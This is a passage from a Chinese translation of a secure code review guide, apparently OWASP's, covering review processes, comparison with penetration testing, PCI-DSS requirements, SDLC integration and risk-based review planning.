或是是拥有先进静态分析(SAST)工具的专家安全团队。不幸的是,有效地使用当前的应用 程序安全工具需要相当高水平的专业知识。他们也不懂动态数据流或者业务逻辑。SAST 工 具非常适合覆盖范围和设定最低基线。 工具可以用来执行这个任务,但是它们总是需要人工验证。他们不理解上下文,而上下 文是代码安全审计的基石。工具擅长评估大量代码并指出可能的问题,但是一个人需要验证 每个结果,以确定它是否是一个真正的问题,它是否实际上是可利用的,并计算对企业的风 17 险。人工审计者也是必要的,以填补自动化工具,根本无法审计的重大盲点。 2.1.4 代码审计和代码安全审计的区别是什么? 能力成熟度模型是一个被广泛认可的过程模型,用于度量软件开发组织的开发过程。它 的范围从“第 1 级”到“第 5 级”,在“第 1 级”中,开发过程是临时的、不稳定的和不 可重复的,在“第 5 级”中,开发过程是组织良好的、文档化的和不断改进的。假设一个 公司的开发过程将从第一级开始(也称为启动模式),随着组织的成熟和改进,它将变得更加 明确、可重复和专业。当一个组织达到 2 级(可重复)或 3 级(已定义)时,引入执行代码审计 的能力(注意,这还没有处理安全的代码审计)。 代码安全审计是对标准代码审计实践的增强,其中重新审计过程的结构将安全考虑(如 公司安全标准)置于决策的最前沿。本文档将解释其中的许多决定,并试图确保审计过程能 够充分涵盖代码库中的安全风险,例如,确保对高风险代码进行更深入的审计,确保审计人 员在审计代码时有正确的安全上下文,确保审计人员有必要的技能和安全的编码知识来有效 地评估代码。 2.1.5 确定安全源代码审计的规模? 安全源代码审计的级别将根据软件的业务或法规需求、编写应用程序的软件开发组织的 规模以及人员的技能而有所不同。类似于软件开发的其他方面,如性能、可伸缩性和可维护 性,安全性是应用程序成熟度的一种度量。安全性是一种非功能性需求,应该内置于用于商 业或政府目的的每一个应用程序或工具中。 18 如果开发环境由一个人作为爱好进行编程,并编写一个程序来跟踪他们在 visual basic 中每周的购物(CMM 级别 1),那么该程序员不太可能使用本文档中的所有建议来执行广泛 级别的代码安全审计。在另一个极端,一个拥有数千名开发人员编写数百个应用程序的大型 组织(如果他们希望成功的话)会非常认真地对待安全性,就像他们会认真对待性能和可伸缩 性一样。 不是每个开发组织都有必要或资源来遵循和实现本文档中的所有主题,但是所有组织都 应该能够开始以一种能够适应对他们来说最重要的过程和技术建议的方式来编写他们的开 发过程。随着组织的发展和成熟,这些过程应该是可扩展的,以适应更多的代码安全审计考 虑。 在一个由 3 个人组成的黑暗房间里,不会有一个“代码审计小组”来发送代码,取而 代之的是角落里的一个家伙,他曾经读过一本安全的代码书,现在用它来支撑他的显示器。 在一个中等规模的公司中,可能有 400 名开发人员,其中一些人将安全性作为兴趣或 专长,但是组织的流程可能会给与同样多的时间来审计 3 行 CSS 更改,就像它给与旗舰产 品认证码的重新设计一样。这里的挑战是增加员工的安全编码知识(一般来说),并通过威胁 建模和代码安全审计来改进流程。 对于一些拥有成千上万开发人员的大公司来说,对安全的需求是最大的,但是过程效率 对底线有影响。以一家拥有 5000 名开发人员的大公司为例。如果流程发生变化,导致每个 开发人员每周多花 15 分钟来完成一项任务,那么整个公司每周就要多花 1250 个小时.这样 一来,每年就需要额外增加 30 个全职开发人员来完成任务(假设每周 40 个小时)。这里的挑 战是确保对生命周期的安全更改是有效的,并且不妨碍开发人员执行他们的任务。 培训员工进行代码安全审计 19 似乎有一个带有以下情绪的陷阱:由于许多代码开发人员不了解或不熟悉安全性,公司 应该在开发人员之间实现对等的代码安全审计。 员工如何引入安全技能来实施安全的代码审计方法?许多安全成熟度模型(例如。 BSIMM 或 OpenSAMM)讨论核心安全团队的概念,他们是熟练的开发人员和技能安全主 题专家(SMEs)。在一家公司推出阿瑟治愈代码审计流程的早期,安全中小企业将成为高风 险审计的核心,利用他们的经验和知识指出代码中可能引入风险的方面。 除了核心安全团队之外,另一组对安全感兴趣的开发人员可以充当本地安全中小企业团 队,参与许多代码安全审计。这些卫星(BSIMM 称之为卫星)将由核心安全团队在技术问题 上进行指导,并将有助于鼓励安全编码。 随着时间的推移,一个组织在其核心和附属团队中构建安全知识,这反过来将安全知识 传播给所有开发人员,因为大多数代码审计都将有一个安全中小企业参与。 这给所有开发人员的“在职”培训非常重要。一个组织可以派他们的开发人员参加培训 课程(课堂或案例教学),向他们介绍常见的安全主题并提高他们的意识,但没有一个培训课 程能 100%与开发人员的工作相关。在代码安全审计过程中,每个提交代码的开发人员都会 收到与他们完全相关的安全相关的反馈,因为审计是针对他们生成的代码的。 但是必须记住,不管组织的规模有多大,执行安全代码重新审计的原因是为了捕捉更多 的错误,确保在 S-SDLC 中更早地捕捉它们。与在测试或生产中发现 bug 相比,通过这种 方式进行安全的代码审计并发现 bug 更快。进行代码审计耗费的时间,对于 5000 人的组 织来说,在测试、调查、重新编码、重新审计、重新发布和重新测试中发现一个缺陷需要多 长时间?如果代码投入生产,项目管理和支持人员将参与跟踪问题并与客户沟通,会怎么样? 也许一周 15 分钟看起来很划算。 20 2.1.6 我们无法保证自己的安全 渗透测试通常是一个黑盒测试,应该在源代码的每个发布(或构建)上重复。许多连续集 成工具(例如。Jenkins/Hudson) 可以针对产品的构建和安装版本进行可重复的测试,包括 自动渗透测试。 随着源代码的变化,未维护渗透测试结果的价值会随着时间而降低。还有隐私、合规性、 稳定性和可用性问题,这些问题可能不包括在渗透测试中,但可以包括在代码审计中。例如, 云环境中的数据信息泄漏可能不会通过渗透测试被发现。因此,渗透测试应该被看作是武器 库中的一个重要工具,但是仅仅依靠它并不能确保产品软件是安全的。 识别软件项目中漏洞的常见方法有: ⚫ 使用针对源代码存储库或模块运行的自动化工具进行源代码扫描,查找被认为可能导致 安全漏洞的字符串模式。 ⚫ 自动渗透测试(黑盒/灰盒)。渗透测试工具安装在测试网站的网络上,利用自动扫描, 针对网站网址运行一组预定义的测试。 ⚫ 手动渗透测试。同样使用工具,但是具有执行更复杂测试的渗透测试专业知识。 ⚫ 由安全专家进行代码安全审计。 ⚫ 应该注意的是,没有一种方法能够识别软件项目可能遇到的所有漏洞,但是深度防御方 法将降低生产软件中包含未知问题的风险。 21 在美国证券交易委员会 2015 年的一项调查中,受访者对以下哪种安全方法最有效进行 了评价: 1)一般安全漏洞 2)隐私问题 3)业务逻辑错误 4)合规问题(如 HIPPA、PCI 等)。 5)可用性问题 调查结果如下: 渗透测试 22 这些调查表明,手动代码审计应该是公司安全生命周期的一个组成部分,因为在许多情 况下,它与其他检测安全问题的方法一样好,甚至更好。 2.1.7 耦合源代码审计和渗透测试 术语“360 度审计”指的是一种方法,其中源代码审计的结果用于计划和执行渗透测试, 渗透测试的结果又用于通知源代码审计。 渗透测试 23 从代码审计中了解内部代码结构,并利用该知识形成测试用例和滥用用例,称为白盒测 试(也称为透明盒和玻璃盒测试)。这种方法可以导致更有效的渗透测试,因为测试可以集中 在可疑甚至已知的漏洞上。利用网络应用中使用的特定框架、库和语言的知识,渗透测试可 以集中于那些框架、库和语言中已知存在的弱点。 白盒渗透测试也可用于确定通过代码审计发现的漏洞带来的实际风险。由于代码审计者 没有考虑保护措施(例如,输入验证),在代码审计期间发现的漏洞可能无法在测试期间被利 用。虽然这种情况下的漏洞是真实的,但由于缺乏暴露,实际风险可能会更低。不过,增加 渗透测试仍然有一个好处,即保护措施在将来有可能会发生变化,从而暴露漏洞。 虽然白盒渗透测试(基于代码安全审计)中利用的漏洞确实存在,但是应该仔细分析这些 漏洞的实际风险。让攻击者获得目标 web 应用程序的源代码和开发人员的建议是不现实的。 24 因此,外部攻击者利用白盒渗透测试器发现的漏洞的风险可能更低。然而,如果 web 应用 程序组织担心有内部消息的攻击者的风险(以前的雇员或与现在的雇员或承包商勾结),现实 世界的风险可能同样高。 渗透测试的结果可以用来确定代码审计的附加区域。除了解决测试中利用的特定漏洞之 外,寻找存在同一类漏洞的其他地方也是一个很好的做法,即使在测试中没有明确利用。例 如,如果应用程序的某个领域没有使用输出编码,并且渗透测试利用了这一点,则很有可能 应用程序的其他地方也没有使用输出编码。 2.1.8 代码审计对开发实践的潜在优势 将代码审计集成到公司的开发过程中有很多好处,这取决于执行代码审计所使用的过程 和工具、数据的备份情况以及这些工具的使用情况。将开发人员带进一个房间并在投影仪上 显示代码,同时将审计结果记录在打印件上的日子已经一去不复返了,如今有许多工具可以 提高代码审计的效率,并跟踪审计记录和决策。当代码审计过程结构正确时,审计代码的行 为可以是有效的,并为组织提供教育、审计和历史方面的好处。本节枚举了代码审计过程可 以给开发组织带来的好处。 提供历史记录 如果任何一个开发人员加入了一家公司,或者在一家公司内部调整了团队,不得不维护 或增强几年前编写的一段代码,最大的挫折之一可能是新开发人员对旧代码缺乏了解。关于 代码文档存在各种不同的观点,既有代码内部的(注释),也有代码外部的(设计和功能文档、 维基等)。相关资料从零文档容差到接近美国国家航空航天局级别的文档,文档的大小远远 25 超过代码模块的大小。 在代码审计期间发生的许多讨论,如果被记录下来,将为模块维护者和新程序员提供有 价值的信息。从描述模块的作者以及他们的一些设计决策,到每个审计者的评论,陈述他们 为什么认为一个 SQL 查询应该被重新组织,或者一个算法应该被改变。有个开发故事展现 在审计者的眼前,可以被模块以后维护的程序员使用,尽管他们不参与审计会议。 在审计工具中自动捕获这些审计讨论,并存储它们以供将来参考,将为开发组织提供模 块的变更历史,新的开发人员可以在以后查询这些历史。这些讨论还可以包含到任何架构/ 功能/设计/测试规范、bug 或增强号的链接。 验证变更已经过测试 当开发人员准备将代码提交到存储库中时,公司如何知道他们已经对其进行了充分的测 试?添加对他们已经运行的测试的描述(手动的或自动的)可以给审计者(和管理人员)信心, 让他们相信变更会起作用并且不会被回滚。同样,通过声明变更已被测试过,作者允许审计 者审计测试并建议作者可能已经错过的进一步测试。 在存在自动化单元或组件测试的开发场景中,编码准则可能要求开发人员在代码审计中 包含那些单元/组件测试。这再次允许该环境中的审计者确保正确的单元/组件测试将被包括 在该环境中,从而保持连续集成周期的质量。 初级开发人员的编码教育 除了结对编码(这种情况很少发生,也从来没有成本效益)和培训课程(关于编码的布朗包 课程、技术讲座等)外,在员工学习了一门语言的基础知识并阅读了一些最佳实践书籍后, 他们如何获得良好的在职技能来学习更多知识?对于初级开发人员来说,在代码审计期间讨 26 论的设计和代码决策可能是一次学习经历。许多有经验的开发人员承认这是一条双行道,新 的开发人员可以提出新的想法或技巧,老的开发人员可以从中学习。总之,这种经验和想法 的交叉传播会对开发组织有益。 熟悉代码库 当一个新特性被开发出来时,它通常与主代码库集成在一起,在这里,代码审计可以成 为更广泛的团队了解新特性及其代码将如何影响产品的渠道。这有助于防止功能重复,即不 同的团队最终编码相同的一小部分功能。 这也适用于团队分散的开发环境。在这里,代码审计作者可以联系其他团队来获得他们 的想法,并允许这些其他团队审计他们的模块,然后每个人都可以更多地了解公司的代码基 础。 整合冲突的预警 在一个繁忙的代码库中,会有多个开发人员编写或影响同一个模块的代码的时候(尤其 是在核心代码模块上)。许多人都有过剪切代码和运行测试的经历,但提交后却发现一些其 他的更改修改了功能,要求作者重新编码并重新测试他们的更改的某些方面。通过代码审计 传播新的变更的方式给了开发人员一个更大的机会,让他们知道一个变更将要影响他们的提 交和开发时间表等等。可以相应地更新。 安全编码指南接触点 许多开发环境都有新代码必须遵守的编码准则,编码指南可以采取多种形式。值得 指出的是,安全准则可能是一个特别相关的切入点。 不幸的是,在代码审计中,安全编码问题只被开发团队的一部分人所理解。因此, 27 将具有各种技术专长的团队纳入代码审计是有必要的。即,可以邀请安全团队的某个人(或 者角落里了解所有安全知识的人)作为技术主题专家来审计,从他们的特定角度审计代码。 这是 OWASP 十大准则可以执行的地方。 2.1.9 代码安全审计技术方面 代码安全审计与被审计的应用程序强相关。它们可能会突出一些新的或特定于应用程序 代码实现的缺陷,如执行流的不安全终止、同步错误等。这些缺陷只有当我们理解了应用程 序代码流及其逻辑后才能被发现。因此,代码安全审计不仅仅是扫描代码中的一组未知的不 安全代码模式,还包括理解应用程序的代码实现和列举它独有的缺陷。 正在审计的应用程序可能已经设计了一些适当的安全控制,例如集中黑名单、输入验证 等。必须仔细研究这些安全控制措施,以确定它们是否可靠。根据控制的实施,必须分析攻 击的性质或任何可用于绕过它的特定攻击向量。列举现有安全控制中的弱点是代码安全审计 的另一个重要方面。 应用程序中出现安全缺陷有多种原因,比如缺少输入验证或参数处理不当。在代码审计 的过程中,缺陷的根本原因需要被暴露出来,要跟踪完整的数据流。术语“源到接收器分析” 意味着确定应用程序(源)的所有可能的输入,以及它们是如何被应用程序(接收器)处理的。 接收器可能是一种不安全的代码模式,如动态 SQL 查询、日志编写器或对客户端设备的响 应。 考虑一个源是用户输入的场景。它流经应用程序的不同类/组件,最后落入一个拼接的 SQL 查询(一个接收器)中,并且在路径中没有对它进行适当的验证。在这种情况下,应用程 序将容易受到 SQL 注入攻击,这是由源到宿分析确定的。这种分析有助于理解哪些易受攻 击的输入可能导致应用程序中的漏洞。 28 一旦发现缺陷,审计者必须列举应用程序中存在的所有可能的实例。这不是由代码变更 发起的代码审计,这是由管理部门基于发现的缺陷发起的代码扫描,并且投入资源来查找该 缺陷是否存在于产品的其他部分。例如,由于在不安全的显示方法中使用未经验证的输入, 如 scriptlets 的“response.write”方法等,应用程序很容易在这些地方受到 XSS 漏洞的攻 击。 2.1.10 代码审计和合规 许多要保护其软件和数据的完整性、机密性和可用性的组织需要满足合规的要求。这种 遵守通常是强制性的,而不是组织自愿采取的步骤。 合规条例包括: ⚫ 支付卡行业标准 ⚫ 中央银行规定 ⚫ 审计目标 ⚫ HIPPA 合规性是软件安全开发生命周期的一个组成部分,代码审计是合规性的一个重要方法。 许多规则坚持执行代码审计,以符合某些规定。 要执行符合合规性规则的适当代码审计,必须使用经批准的方法。某些规定,如 PCI, 特别是要求 6:“开发和维护安全系统”,同时 PCI-DSS 3.0 自 2013 年 11 月以来一直可用。 它公开了一系列适用于软件开发和识别代码漏洞的要求。支付卡行业数据安全标准 (PCI-DSS)于 2005 年 6 月成为处理信用卡支付的公司的强制性合规步骤。从标准的第一个 版本开始,对定制代码进行代码审计就成为了一项要求。 29 PCI 标准包含与安全应用程序开发相关的几个要点,但是本指南将只关注这些要点,这 些要点要求进行代码审计。与代码审计相关的所有要点可以在需求 6“开发和维护安全的系 统和应用程序”中找到。 2.1.11 与代码审计相关的 PCI-DSS 要求 具体来说,需求 6.3.2 要求对定制代码进行代码审计。在重新提供给生产或客户之前, 审计定制代码,以识别任何潜在的编码漏洞(使用手动或自动流程),至少包括以下内容: ⚫ 代码变更由除原始代码作者之外的个人审计,并且由熟悉代码审计技术和安全编码实践 的个人审计。 ⚫ 代码审计确保代码是根据安全编码准则开发的 ⚫ 发布前实施适当的纠正 ⚫ 代码审计结果在发布前由管理层审计和批准 需求 6.5 解决了软件开发过程中常见的编码漏洞,如下所示: ⚫ 对开发人员进行安全编码技术培训,包括如何避免常见的编码漏洞,以及了解敏感数据 如何在内存中处理 ⚫ 基于安全编码准则开发应用程序 PCI 委员会扩展了选项 1,以包括执行代码审计的内部资源。这增加了内部代码审计的 权重,并为确保该过程正确执行增加了新的保障。 30 支付应用数据安全标准(PA-DSS)是一套类似于 PCI-DSS 的规则和要求。但是,个人授 权系统特别适用于软件供应商和开发支付应用程序的其他人,这些支付应用程序作为授权或 结算的一部分存储、处理或传输持卡人数据,这些支付应用程序被出售、分发或许可给第三 方。 与代码审计相关的项目审批系统要求 与代码审计相关的要求也适用,因为这些要求来自于需求 5 (PCI,2010)中的 PA-DSS: 5.2 根据安全编码指南开发所有支付应用程序(内部和外部,包括产品的网络管理访问)。 5.1.4 在任何重大变更后向客户发布支付应用程序代码之前,对其进行审计,以识别任 何潜在的编码漏洞。 注意:作为系统开发生命周期的一部分,代码审计的要求适用于所有支付应用程序组件 (内部和面向公众的网络应用程序)。代码审计可以由知识渊博的内部人员或第三方进行。 2.2 方法 代码审计是对计算机源代码的系统审计,审计以各种形式进行,可以在每个组织的不同 阶段完成。这本书并没有试图告诉每个组织如何在他们的组织中实现代码审计,但是这一部 分确实从非正式的演练、正式的审计或工具辅助的代码审计中,以通用的术语和方法进行了 讨论。 2.2.1 开发代码审计流程时要考虑的因素 当计划执行代码安全审计时,有多个因素需要考虑,因为每个代码审计对于其上下文都 31 是唯一的。除了本节中讨论的元素之外,还必须考虑影响分析的任何技术或业务相关因素(业 务决策,如截止日期和资源),因为这些因素最终可能决定代码审计的过程和最有效的执行 方式。 风险 不可能 100%地保证所有内容的安全,因此优先考虑哪些特性和组件必须用基于风险的 方法进行安全审计。虽然这个项目强调了设计安全的一些重要领域,但在提交给存储库的所 有代码中,并不是所有代码都将得到代码安全审计的关注和审计。 目的和背景 计算机程序有不同的目的,因此安全等级将根据实现的功能而变化。一个支付网络应用 程序将比一个推广网站有更高的安全标准。需要时刻提醒企业想要保护什么:在支付应用程 序的情况下,信用卡等数据将具有最高优先级,但是在促销网站的情况下,要保护的最重要 的是与网络服务器的连接凭据。这是将上下文在基于风险的方法中的另一种方式。进行安全 审计的人员应该知道这些优先级。 代码行 工作量的一个指标是必须审计的代码行数。IDEs(集成开发环境),如 Visual Studio 或 Eclipse,包含允许计算代码行数的功能。或者在 Unix/Linux 中,有像“wc”这样的简单 工具可以计算代码行数。用面向对象语言编写的程序被分成类,每个类相当于一页代码。一 32 般来说,行号有助于精确定位必须纠正的代码的确切位置,并且在审计开发人员所做的纠正 时非常有用(例如代码库中的历史)。程序包含的代码行越多,代码中出现错误的可能性就越 大。 编程语言 用类型化安全语言(如 C#或 Java)编写的程序比其他程序(如 C 和 C++)更不容易受到某 些安全漏洞(如缓冲区溢出)的攻击。当执行代码审计时,语言的种类将决定预期的错误类型。 通常,软件公司倾向于使用他们的程序员熟悉的几种语言。不过,当决定用开发人员不熟悉 的语言创建新代码时,管理层必须意识到,由于缺乏内部经验,安全地审计该代码的风险会 增加。在本指南中,各部分解释了围绕要审计的特定编程语言代码的最常见问题,并以此作 为参考来发现代码中的特定安全问题。 资源、时间和期限 毋庸置疑,这是一个根本因素。对于一个复杂的程序来说,一个合适的代码审计需要更 长的时间,并且比一个简单的程序需要更高的分析技巧。如果没有适当提供资源,所涉及的 风险会更高。确保在执行审计时对此进行了明确评估。 2.2.2 在软件开发生命周期中整合代码审计 代码审计存在于每一个正式的安全软件开发生命周期中,但是代码审计的正式程度也有 很大的不同。主要是因为代码审计的目的各不相同,比如安全性、遵从性、编程风格等等。 在整个软件开发生命周期(XP、Agile、RAD、BSIMM、CMMI、微软 ALM)中,都有应用 33 安全应该参与的地方。将代码安全审计集成到 SLDC 系统中的想法听起来可能令人生畏,因 为对于一个已经超出预算和时间限制的项目来说,还有另一层复杂性或额外的成本和时间。 不过,它被证明具有成本效益,并提供了静态分析器无法提供的额外安全级别。 在一些行业中,对公司的安全增强的驱动力可能不仅仅是由产生更好的代码的愿望驱动 的,这些行业具有在编写软件时需要适当小心的法规和法律(例如。政府和金融行业),也有 可能没有试图保护其软件开发生命周期带来的罚款远远大于在开发生命周期中增加安全性 的成本。 当将代码安全审计集成到软件开发生命周期中时,组织应该创建代码安全审计者应该遵 守的标准和策略。这将创建任务的正确的重要性,而不是仅仅被看作是一个只需要被审计的 项目任务。项目时间也需要分配给任务,以便有足够的时间来完成任务(以及代码安全审计 产生的任何补救任务)。标准还允许管理和安全专家(例如,安全架构师)指导员工遵守什么样 的安全编码,并允许员工在需要审计仲裁时参考(标准)。 代码审计报告 标准报告模板将提供足够的信息,使代码审计人员能够根据应用程序威胁模型对软 件漏洞进行分类和优先级排序。该报告不需要有多长,它可以是基于文档的,也可以并 入许多自动匹配的代码审计工具。报告应提供以下信息: •审计日期。 •应用程序名称,审计的代码模块。 •开发人员和代码审阅者的姓名。 •任务或功能名称(TFS,GIT,Subversion,故障单等)。 34 •简短句子以对软件漏洞进行分类和优先级排序,以及需要完成或采取后续措施的补 救措施。 •链接到与任务/功能相关的文档,包括需求,设计,测试和威胁建模文档。 •代码审计清单(如果使用),或链接到组织的代码审计清单。(请参阅附录 A) •对开发人员的代码进行了测试。 特别是,单元或自动测试本身可以是评论提交的一 部分。 •在审计代码之前是否使用了诸如 FxCop,BinScope Binary Analyzer 等之类的工 具。 今天,大多数组织为了使用敏捷开发的方法,已经修改了他们的软件开发生命周期过程。 正因为如此,组织将需要查看他们自己的内部开发实践,来确定安全代码审计需要在哪里以 及多久进行一次。如果项目延迟并超出预算,那么这增加了软件修复导致安全漏洞的机会, 因为现在的重点是让项目更快地部署。如果采用对生产中的代码进行代码审计可能会发现软 件漏洞,但要知道,黑客们正在竞相寻找漏洞,在补救措施实施期间,易受攻击的软件将继 续提供生产(因此这样做风险比较高)。 2.2.3 何时进行代码审计 一旦一个组织决定将代码审计作为其内部代码过程的一部分。下一个要问的大问题是确 定代码将在 SDLC 的哪个阶段被审计。本节讨论了包含代码审计的三种可能方式。在软件开 发生命周期中,有三个阶段可以审计代码: 35 当代码即将被检入时(预提交) 开发组织可以在他们的过程中声明,在将代码提交给源代码存储库之前,必须对所有代 码进行审计。这有减缓签入过程的缺点,因为审计可能需要时间,但是它有许多优点,因为 低于标准的代码永远不会放在代码行中,并且管理层可以确信(如果正在遵循过程)提交的代 码达到了规定的质量。 例如,过程可能声明要提交的代码必须包括到需求和设计文档以及必要的单元和自动化 测试的链接。通过这种方式,审计者将对正在进行的确切代码修改有所了解(由于文档),并 且他们将知道开发人员如何测试代码(由于测试)。如果同行审计者认为文档不完整,或者测 试不够广泛,他们可以拒绝审计,不是因为代码本身,而是因为必要的文档或测试不完整。 在使用每晚运行的自动化测试的配置项的环境中,开发团队作为一个整体将在第二天(在签 入之后)知道提交的代码是否有足够的质量。管理人员也知道,一旦一个缺陷或特性被审计 出来,开发人员已经完成了他们的任务,就不会有“我将在下周完成那些测试”的场景(意 思是要让开发人员立刻修改问题),否则就增加了开发任务的风险。 当代码刚刚被检入代码库时(提交后) 在这里,开发人员提交他们的代码变更,然后使用代码库变更列表发送代码差异供审计。 这对开发人员来说具有更快的优势,因为在他们签入代码之前没有审计门要通过。缺点是, 实际上,这种方法会导致代码质量下降。一旦代码被签入,开发人员就不太倾向于解决小问 题,通常是口头禅“好了,代码已经在了,它就可以了“。还有一个时间上的风险,因为其 他开发人员可能会在审计完成之前,或者在编写变更和测试之前,在同一个模块中编写其他 36 代码修复,这意味着开发人员不仅必须实现来自同行或安全审计的代码变更,而且还必须以 不破坏其他后续变更的方式来实现。开发人员不得不重新测试后续的修复,以确保没有出现 问题。 一些使用敏捷方法的开发组织在他们的过程中加入了“安全冲刺”。在安全性冲刺阶段, 可以对代码进行安全性审计,并添加特定于安全性的测试用例(书面的或自动化的)。 当代码审计完成时 一些组织有在特定时间间隔审计代码的过程(例如,每年一次),或者当一段易受攻击的 代码被怀疑在整个代码库中重复时。在这里,静态代码分析器或简单的代码字符串搜索(针 对特定的漏洞模式)可以加快这个过程。这种审计与提交特性或错误修复无关,它们是由过 程考虑触发的,可能涉及对整个应用程序或代码库的审计,而不是对单个提交的审计。 谁应该执行代码安全审计 一些组织认为代码安全审计可以是安全或风险分析团队成员的工作。然而,所有开 发人员都需要了解他们的应用程序的暴露点,以及他们的应用程序存在哪些威胁。 许多公司的安全团队没有具有编码背景的成员,这使得与开发团队的交互具有挑战 性。因此,开发团队通常对安全性输入和指导持怀疑态度。安全团队通常愿意放慢速度, 以确保机密性和完整性控制到位,而开发人员面临来自他们支持的业务部门的压力,要 求他们尽快创建和更新代码。不幸的是,应用程序对运营或业务需求越重要,将代码部 署到生产环境的压力就越大。 37 最好将安全代码审计融合到 SDLC 过程中,这样开发组织就不会将安全视为障碍, 而是一种帮助。如前所述,将安全编码 SME 散布到整个组织(BSIMM 术语中的卫星) 可以使代码安全审计任务扩展并覆盖更多的开发团队。随着过程的发展,越来越多的开 发人员意识到了安全编码问题(因为他们已经拒绝了基于安全编码的审计),并且安全编码 问题在代码审计中出现的频率会下降。 2.2.4 敏捷和瀑布开发的代码安全审计 如今,敏捷开发是许多实践的总称,包括编程、持续集成、测试、项目管理等。敏捷开 发有很多种风格,甚至和实践者一样多。敏捷开发是一个异构的参考框架,开发团队可以从 中挑选他们想要使用的实践。 敏捷有一些可能影响代码审计方式和时间的实践。例如,敏捷试图让代码审计和测试尽 可能接近开发阶段。通常的做法是定义短的开发周期(迭代或冲刺)。在每个周期结束时, 所有的代码都应该是生产质量代码。它可以是不完整的,但它必须增加一些功能价值。这会 影响审计过程,因为审计应该是连续的。从安全编码审计的角度来看,开发组织使用敏捷或 瀑布开发二者在代码审计上不应该有任何区别。代码审计结果只受提交的代码影响,而不会 受开发与测试的顺序,或者分配给编码任务的时间因素影响。在许多组织中,瀑布和敏捷之 间的界限越来越模糊,传统的瀑布部门引入了敏捷的持续集成方面,包括夜间构建、自动化 测试、测试驱动开发等。 2.2.5 基于风险的代码审计方法 一个开发公司将有不同程度的代码变更被审计,从一年运行一次的后端脚本中简单的单 行错误修复,到关键业务逻辑中的大型特性提交。通常情况下,代码审计的强度根据变更带 38 来的感知风险而变化。 最终,代码审计的规模归结为资源的管理(技术人员、公司时间、机器等)。为产品上发 生的每个代码变更引入多个安全专家是不可扩展的,这些人或团队的资源不足以处理每个变 更。因此,公司可以决定哪些变更是重要的,哪些需要仔细审计,哪些可以在最少审计的情 况下通过。这将使管理层能够更好地评估开发周期,如果要在高风险领域进行变更,管理层 可以留出足够的时间进行代码审计,并确保有具备相关技能的人员可用。决定哪些变更需要 哪个级别的代码审计的过程是基于变更所在的模块的风险级别。 如果代码变更的审计强度是基于被变更模块的风险级别,那么风险级别应该由谁来决定? 因为,管理层要对公司的产出负责,所以他们也要对公司销售产品的相关风险负责。因此, 由管理层(或管理层委托的人员)来创建一个可重复的度量或框架,以决定与代码更改相关的 风险。 关于一个模块或一段代码的风险的决定应该基于可靠的成本效益分析,如果决定所有模 块都是高风险的,那将是不负责任的。因此,管理层应会见了解代码基础和产品面临的安全 问题的人员,并为各种代码元素创建风险度量。代码可以分成模块、目录、产品等。每个都 有相关的风险级别。 在风险分析领域存在各种方法来将风险分配给实体,并且许多书已经致力于这种类型的 讨论。下表 1 概述了确定风险的三种主要技术。 39 风险是坏事发生的可能性,以及如果发生可能造成的损害。确定不同代码模块风险状况 的标准将由负责交付变更的管理团队决定,示例见表 2。 当风险级别与产品和模块相关联时,可以创建策略来确定必须进行什么级别的代码审计。 一级风险模块中的代码变更可能必须由包括安全架构师在内的三个人进行审计,而四级风险 模块中的变更只需要一个人进行快速的同行审计。 风险较高的模块的其他选项(或标准)可以包括对自动化测试或静态分析的需求,例如。 高风险代码中的代码变更必须包括静态分析工具上 80%的代码覆盖率,以及足够的自动匹 配测试,以确保不发生回归。作为代码审计的一部分,可以要求和审计这些标准,以确保它 们能够测试已更改的代码。 一些公司在逻辑上将他们的代码分成不同的存储库,更敏感的代码出现在一个只有有限 的开发人员能够访问的存储库中。如果代码以这种方式被分割,那么必须记住,只有能够访 问风险较高的代码的开发人员才能对该代码进行审计。 40 风险分析也可以在代码审计期间使用,以决定如何对引入产品风险的代码变更做出反应, 如表 3 所示。在典型的风险分析过程中,团队需要决定是否接受、转移、避免或降低风险。 当涉及到代码审计时,转移风险是不可能的,因为转移风险通常意味着购买保险来支付风险 成本。 2.2.6 代码审计准备 对应用程序的安全审计应该发现常见的安全漏洞以及应用程序业务逻辑特有的问题。为 了有效地审计代码主体,重要的是审计者理解应用程序的业务目的和关键的业务影响。审计 人员应了解攻击面,确定不同的威胁代理及其动机,以及他们可能如何攻击应用程序。 对于正在审计其代码的软件开发人员来说,执行代码审计可能就像审核一样,并且开发 人员可能比较排斥审计结果。解决这个问题的一种方法是在审计者、开发团队、业务代表和 任何其他既得利益者之间创造一种合作的氛围。塑造顾问而不是警察的形象对于获得开发团 队的合作很重要。 信息收集的程度将取决于组织的规模、重新查看者的技能组合以及所查看代码的关键程 度/风险。在一个 20 人的初创企业中,对 CSS 文件进行一个小小的更改不会产生一个完整 的威胁模型和需要一个独立的安全审计团队。与此同时,在一家价值数十亿美元的公司中, 一个新的单点登录认证模块将不会是一个曾经读过安全编码文章的人所审计的安全代码。即 41 使在同一个组织中,高风险模块或应用程序也可能会受到威胁,其中低风险模块可以在不太 强调审计者理解模块的安全模型的情况下进行审计。 本节将介绍审核者(或审核团队)应尝试了解的基本项目,以及安全代码审核的应用程序。 这可以用于没有资源创建完整安全基线的较小公司,或者用于较大公司内的低风险代码。后 面一节将详细介绍威胁建模,大型公司将根据其最高风险代码使用威胁建模。 在理想的情况下,审计者会参与到应用程序的设计阶段,但这种情况很少发生。然而, 不管代码变更的规模有多大,启动代码审计的工程师应该指导审计人员查看任何相关的架构 或设计文档。最简单的方法是在初始电子邮件或代码审计工具中包含一个指向文档的链接 (比如,它们存储在一个在线文档库中)。然后,审计人员可以验证安全控制措施是否正确处 理了关键风险,以及这些控制措施是否用在了正确的地方。 为了有效地进行审计,审计人员应熟悉以下方面: 应用程序功能和业务规则 审计人员应了解应用程序当前提供的所有功能,并获取与这些功能相关的所有业务限制 /规则。还有一种情况是,要注意潜在的计划中的功能,这些功能可能会出现在应用程序的 路线图上,从而在当前的代码审计过程中对安全决策进行提前验证。这个系统失败的后果是 什么?如果应用程序不能按预期执行其功能,企业会受到很大影响吗? 上下文 所有的安全都在我们试图保护的范围内。在苹果的应用程序上推荐军事安全标准机制将 42 是矫枉过正不恰当的。什么类型的数据被操纵或处理,如果这些数据被泄露会对公司造成什 么损害?上下文是安全代码审计和风险评估的“圣杯”。 敏感数据 审计人员还应记录对应用程序敏感的数据实体,如账号和密码。根据敏感度对数据实体 进行分类将有助于审计者确定应用程序中任何类型的数据丢失的影响。 用户角色和访问权限 了解被允许访问应用程序的用户类型很重要。是面向外部还是内部给“信任”的用户? 一般来说,只有组织内部用户才能访问的应用程序可能与互联网上任何人都能访问的面临不 同的威胁。因此,了解应用程序的用户及其部署的环境将允许审计者正确认识威胁代理。除 